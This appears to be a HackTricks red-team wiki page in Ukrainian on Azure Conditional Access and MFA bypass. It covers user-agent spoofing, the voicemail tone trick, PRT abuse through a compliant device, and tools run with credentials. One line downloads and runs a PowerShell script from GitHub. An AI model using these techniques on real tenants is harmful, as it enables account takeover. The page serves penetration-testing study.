Az - Політики умовного доступу та обхід MFA
Reading time: 9 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Основна інформація
Політики умовного доступу Azure - це правила, встановлені в Microsoft Azure для забезпечення контролю доступу до служб та додатків Azure на основі певних умов. Ці політики допомагають організаціям захистити свої ресурси, застосовуючи правильні контролі доступу за правильних обставин.
Політики умовного доступу в основному визначають Хто може отримати доступ до Чого з Де та Як.
Ось кілька прикладів:
- Політика ризику входу: Цю політику можна налаштувати так, щоб вимагати багатофакторну аутентифікацію (MFA), коли виявляється ризик входу. Наприклад, якщо поведінка користувача під час входу є незвичною в порівнянні з їхнім звичайним патерном, наприклад, входом з іншої країни, система може запитати додаткову аутентифікацію.
- Політика відповідності пристроїв: Ця політика може обмежити доступ до служб Azure лише для пристроїв, які відповідають стандартам безпеки організації. Наприклад, доступ може бути дозволений лише з пристроїв, які мають актуальне антивірусне програмне забезпечення або працюють на певній версії операційної системи.
Перерахування
# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'
# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"
Обходи політик умовного доступу
Можливо, що політика умовного доступу перевіряє деяку інформацію, яку можна легко підробити, що дозволяє обійти політику. І якщо, наприклад, політика налаштовує MFA, зловмисник зможе її обійти.
При налаштуванні політики умовного доступу потрібно вказати користувачів, на яких вона вплине, та цільові ресурси (наприклад, всі хмарні додатки).
Також потрібно налаштувати умови, які активують політику:
- Мережа: IP, діапазони IP та географічні локації
- Можна обійти, використовуючи VPN або проксі для підключення до країни або зумівши увійти з дозволеної IP-адреси
- Ризики Microsoft: Ризик користувача, ризик входу, ризик зсередини
- Платформи пристроїв: Будь-який пристрій або вибрати Android, iOS, Windows phone, Windows, macOS, Linux
- Якщо “Будь-який пристрій” не вибрано, але всі інші опції вибрані, можна обійти це, використовуючи випадковий user-agent, не пов'язаний з цими платформами
- Клієнтські додатки: Опції “Браузер”, “Мобільні додатки та настільні клієнти”, “Клієнти Exchange ActiveSync” та “Інші клієнти”
- Щоб обійти вхід з не вибраною опцією
- Фільтр для пристроїв: Можна створити правило, пов'язане з використаним пристроєм
- Потоки аутентифікації: Опції “Потік коду пристрою” та “Передача аутентифікації”
- Це не вплине на зловмисника, якщо він не намагається зловживати будь-якими з цих протоколів у фішинговій спробі отримати доступ до облікового запису жертви
Можливі результати: Блокування або надання доступу з потенційними умовами, такими як вимога MFA, відповідність пристрою…
Платформи пристроїв - Умова пристрою
Можливо встановити умову на основі платформи пристрою (Android, iOS, Windows, macOS...), однак це базується на user-agent, тому його легко обійти. Навіть зробивши всі опції обов'язковими для MFA, якщо ви використовуєте user-agent, який не розпізнається, ви зможете обійти MFA або блокування:
.png)
Просто змусивши браузер надіслати невідомий user-agent (наприклад, Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile
) достатньо, щоб не активувати цю умову.
Ви можете змінити user-agent вручну в інструментах розробника:
.png)
Або використати розширення браузера, як це.
Локації: Країни, діапазони IP - Умова пристрою
Якщо це налаштовано в умовній політиці, зловмисник може просто використовувати VPN в дозволеній країні або спробувати знайти спосіб отримати доступ з дозволеної IP-адреси, щоб обійти ці умови.
Хмарні додатки
Можливо налаштувати політики умовного доступу для блокування або примусу наприклад MFA, коли користувач намагається отримати доступ до конкретного додатку:
.png)
Щоб спробувати обійти цю захист, вам слід перевірити, чи можете ви увійти лише в будь-який додаток.
Інструмент AzureAppsSweep має десятки ідентифікаторів додатків, закодованих у програмі і спробує увійти в них, повідомить вас і навіть надасть токен, якщо вдасться.
Щоб перевірити конкретні ідентифікатори додатків у конкретних ресурсах, ви також можете використовувати інструмент, такий як:
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
<token>
Більше того, також можливо захистити метод входу (наприклад, якщо ви намагаєтеся увійти з браузера або з настільного додатку). Інструмент Invoke-MFASweep виконує деякі перевірки, щоб спробувати обійти ці захисти.
Інструмент donkeytoken також може бути використаний для подібних цілей, хоча виглядає так, ніби він не підтримується.
Інструмент ROPCI також може бути використаний для тестування цих захистів і перевірки, чи можливо обійти MFA або блокування, але цей інструмент працює з точки зору whitebox. Спочатку потрібно завантажити список додатків, дозволених у орендаря, а потім він спробує увійти в них.
Інші обходи Az MFA
Дзвінок
Одна з опцій Azure MFA - це отримати дзвінок на налаштований номер телефону, де буде запитано користувача надіслати символ #
.
caution
Оскільки символи - це просто тони, зловмисник може компрометувати голосове повідомлення на номері телефону, налаштувати як повідомлення тон #
і потім, коли запитують MFA, переконатися, що телефон жертви зайнятий (дзвонячи на нього), щоб дзвінок Azure перенаправлявся на голосову пошту.
Сумісні пристрої
Політики часто вимагають сумісний пристрій або MFA, тому зловмисник може зареєструвати сумісний пристрій, отримати токен PRT і обійти таким чином MFA.
Почніть з реєстрації сумісного пристрою в Intune, потім отримайте PRT за допомогою:
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
<token returned>
Знайдіть більше інформації про цей вид атаки на наступній сторінці:
Інструменти
AzureAppsSweep
Цей скрипт отримує деякі облікові дані користувача та перевіряє, чи може він увійти в деякі додатки.
Це корисно, щоб побачити, чи не потрібно MFA для входу в деякі додатки, які ви можете пізніше зловживати для ескалації привілеїв.
roadrecon
Отримати всі політики
roadrecon plugin policies
Invoke-MFASweep
MFASweep - це скрипт PowerShell, який намагається увійти до різних сервісів Microsoft, використовуючи наданий набір облікових даних, і спробує визначити, чи увімкнено MFA. Залежно від того, як налаштовані політики умовного доступу та інші налаштування багатофакторної аутентифікації, деякі протоколи можуть залишитися з однофакторною аутентифікацією. Він також має додаткову перевірку для конфігурацій ADFS і може спробувати увійти до локального сервера ADFS, якщо його виявлено.
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
ROPCI
Цей інструмент допоміг виявити обходи MFA, а потім зловживати API в кількох виробничих AAD тенантах, де клієнти AAD вважали, що у них є MFA, але аутентифікація на основі ROPC пройшла успішно.
tip
Вам потрібно мати дозволи для перегляду всіх додатків, щоб мати можливість згенерувати список додатків для брутфорсу.
./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json
donkeytoken
Donkey token - це набір функцій, які допомагають консультантам з безпеки, які повинні перевіряти політики умовного доступу, тести для порталу Microsoft з увімкненим 2FA тощо.
git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force
Перевірте кожен портал, чи можливо увійти без MFA:
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
Оскільки Azure портал не обмежений, можливо зібрати токен з кінцевої точки порталу для доступу до будь-якої служби, виявленої попереднім виконанням. У цьому випадку було виявлено Sharepoint, і запитується токен для доступу до нього:
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
Припустимо, що токен має дозвіл Sites.Read.All (з Sharepoint), навіть якщо ви не можете отримати доступ до Sharepoint з вебу через MFA, можливо використовувати токен для доступу до файлів згенерованим токеном:
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
Посилання
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.